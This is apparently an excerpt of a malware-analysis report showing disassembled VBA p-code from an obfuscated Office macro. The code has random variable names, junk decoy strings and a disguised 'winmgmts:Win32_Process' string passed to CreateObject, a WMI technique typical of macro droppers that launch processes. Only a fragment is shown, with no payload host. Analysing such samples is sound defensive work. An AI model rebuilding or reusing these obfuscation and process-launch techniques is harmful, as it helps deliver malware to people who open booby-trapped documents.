' 	MemLd _B_var_Icdztcrxqjo 
' 	Add 
' 	ArgsLd CreateObject 0x0001 
' 	LitDI2 0x0000 
' 	ArgsSt HXXhFck 0x0001 
' Line #130:
' 	Dim 
' 	VarDefn PRMfSo
' 	VarDefn CTedsE
' 	VarDefn QKyWEvE
' Line #131:
' 	Dim 
' 	VarDefn iVLAEHFJI
' 	VarDefn GuGFHPCnH
' Line #132:
' 	Dim 
' 	VarDefn YOgMI
' 	VarDefn FUUIE
' 	VarDefn zCGkT
' Line #133:
' 	Dim 
' 	VarDefn tjRwt
' Line #134:
' 	LitStr 0x004A "iiqb_qb_wiiiqb_qb_nmgiqb_mtiqbiqb__s:iqb_Win3iqb_2_Piqb_rociqb_essiqb_iqb_"
' 	ArgsLd CreateObject 0x0001 
' 	St HnXiivwBX 
' Line #135:
' 	Dim 
' 	VarDefn Hklvtuvftuebf
' Line #136:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim Hklvtuvftuebf 0x0001 (As Variant)
' Line #137:
' 	LitStr 0x0015 "10/16/1954 8:21:49 AM"
' 	LitDI2 0x0000 
' 	ArgsSt Hklvtuvftuebf 0x0001 
' Line #138:
' Line #139:
' 	Dim 
' 	VarDefn iyXoI
' Line #140:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim iyXoI 0x0001 (As Variant)
' Line #141:
' 	LitStr 0x0014 "4/21/1990 4:59:10 AM"
' 	LitDI2 0x0000 
' 	ArgsSt iyXoI 0x0001 
' Line #142:
' Line #143:
' 	Dim 
' 	VarDefn uSoOEGSJ
' Line #144:
' 	OptionBase 
' 	LitDI2 0x0001 
' 	Redim uSoOEGSJ 0x0001 (As Variant)
' Line #145:
' 	LitStr 0x0014 "Przybyla - Krupinski"
' 	LitDI2 0x0000 
' 	ArgsSt uSoOEGSJ 0x0001 
' Line #146:
' Line #147:
' 	Dim 
' 	VarDefn YrckDF
' Line #148:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim YrckDF 0x0001 (As Variant)
' Line #149:
' 	LitStr 0x0013 "Credit Card Account"
' 	LitDI2 0x0000 
' 	ArgsSt YrckDF 0x0001 
' Line #150:
' 	LitStr 0x0016 "11/24/1993 12:38:03 PM"
' 	LitDI2 0x0001 
' 	ArgsSt YrckDF 0x0001 
' Line #151:
' 	LitStr 0x0015 "1/30/1978 10:05:55 AM"
' 	LitDI2 0x0002 
' 	ArgsSt YrckDF 0x0001 
' Line #152:
' Line #153:
' 	SetStmt 
' 	Ld HnXiivwBX 
' 	ArgsLd Aosapjeheki 0x0001 
' 	Set HgYvICX 
' Line #154:
' 	Dim 
' 	VarDefn Zizwtpcx
' Line #155:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim Zizwtpcx 0x0001 (As Variant)
' Line #156:
' 	LitStr 0x0015 "Personal Loan Account"
' 	LitDI2 0x0000 
' 	ArgsSt Zizwtpcx 0x0001 
' Line #157:
' 	LitStr 0x0010 "Checking Account"
' 	LitDI2 0x0001 
' 	ArgsSt Zizwtpcx 0x0001 
' Line #158:
' 	LitStr 0x0006 "Ismael"
' 	LitDI2 0x0002 
' 	ArgsSt Zizwtpcx 0x0001 
' Line #159:
' Line #160:
' 	Dim 
' 	VarDefn ynoBX
…

Open this report in the interactive analyzer, or submit your own file for analysis.